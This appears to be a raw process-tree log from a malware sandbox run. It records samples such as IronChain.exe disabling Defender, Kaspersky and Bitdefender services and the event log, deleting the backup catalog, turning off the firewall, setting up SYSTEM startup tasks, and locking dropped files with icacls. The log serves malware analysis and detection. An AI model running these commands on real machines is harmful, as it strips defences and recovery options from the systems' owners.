C:\Windows\System32\sc.exesc config Sense start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete Sense3⤵
-
-
C:\Windows\System32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete WinDefend3⤵
-
-
C:\Windows\System32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config WdNisSvc start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete WdNisSvc3⤵
-
-
C:\Windows\System32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config MpKslDrv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete MpKslDrv3⤵
-
-
C:\Windows\System32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete NisSrv3⤵
-
-
C:\Windows\System32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config EventLog start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete EventLog3⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop swprv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config swprv start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc delete swprv3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
-
C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe"C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe1⤵
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"1⤵
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "Mbiscer8oBsjolfAtkSXeAc1uPr2imtJy" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "Mbiscer8oBsjolfAtkSXeAc1uPr2imtJy" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "Mbiscer8oBsjolfAtkSXeAc1uPr2imtJy""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "Mbiscer8oBsjolfAtkSXeAc1uPr2imtJy"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "jiIORsPQvjOgNCHMAKdIN" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "jiIORsPQvjOgNCHMAKdIN" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "jiIORsPQvjOgNCHMAKdIN""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "jiIORsPQvjOgNCHMAKdIN"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IrbROSNQCHkGAmINKT5o7.exe" /reset"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\IrbROSNQCHkGAmINKT5o7.exe" /reset4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IrbROSNQCHkGAmINKT5o7.exe" /inheritance:d"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\IrbROSNQCHkGAmINKT5o7.exe" /inheritance:d4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IrbROSNQCHkGAmINKT5o7.exe" /remove "Administrators""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\IrbROSNQCHkGAmINKT5o7.exe" /remove "Administrators"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IrbROSNQCHkGAmINKT5o7.exe" /remove "Admin""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\IrbROSNQCHkGAmINKT5o7.exe" /remove "Admin"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\IrbROSNQCHkGAmINKT5o7.exe" /remove "Authenticated Users""3⤵
-
-
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exeC:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe1⤵
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exeC:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "WXiAnXdqojwLsLUtpUdFaXtne4SKv0c" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "WXiAnXdqojwLsLUtpUdFaXtne4SKv0c" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "WXiAnXdqojwLsLUtpUdFaXtne4SKv0c""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "WXiAnXdqojwLsLUtpUdFaXtne4SKv0c"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "9YIURpwzMxOCNCHZAjbIN" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "9YIURpwzMxOCNCHZAjbIN" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "9YIURpwzMxOCNCHZAjbIN""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "9YIURpwzMxOCNCHZAjbIN"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /reset"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /reset4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /inheritance:d"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /remove "Administrators""3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /remove "Administrators"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /remove "JZIMXBKU$""3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /remove "JZIMXBKU$"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /remove "Authenticated Users""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\SVyQsGtEetmQHTooscteD8abeRmVo3n.exe" /remove "Authenticated Users"4⤵
- Modifies file permissions
-
-
-
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"1⤵
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "MTiZcorpoPsoopfKtJSIetceuprPiAtAy" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "MTiZcorpoPsoopfKtJSIetceuprPiAtAy" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "MTiZcorpoPsoopfKtJSIetceuprPiAtAy""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "MTiZcorpoPsoopfKtJSIetceuprPiAtAy"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe1⤵
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exeC:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe1⤵
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exeC:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "ImoROqNYCH7yAwINw6RR5" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "ImoROqNYCH7yAwINw6RR5" /tr "C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "ImoROqNYCH7yAwINw6RR5""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "ImoROqNYCH7yAwINw6RR5"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe1⤵
-
C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exeC:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe1⤵
-
C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exeC:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "S3yfsWtgerm1HjoxseteDVaRekmzoan" /tr "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "S3yfsWtgerm1HjoxseteDVaRekmzoan" /tr "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "S3yfsWtgerm1HjoxseteDVaRekmzoan""3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "S3yfsWtgerm1HjoxseteDVaRekmzoan"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
-
-
C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe"C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe" C:\Windows\System32\Mui1cPrgogsioKfZtkSdemcmuTrri2tDy.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "MwiDcjrcoWsnoyf9tSSFelc7uSrBijtDy" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "MwiDcjrcoWsnoyf9tSSFelc7uSrBijtDy" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "MwiDcjrcoWsnoyf9tSSFelc7uSrBijtDy""3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "MwiDcjrcoWsnoyf9tSSFelc7uSrBijtDy"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
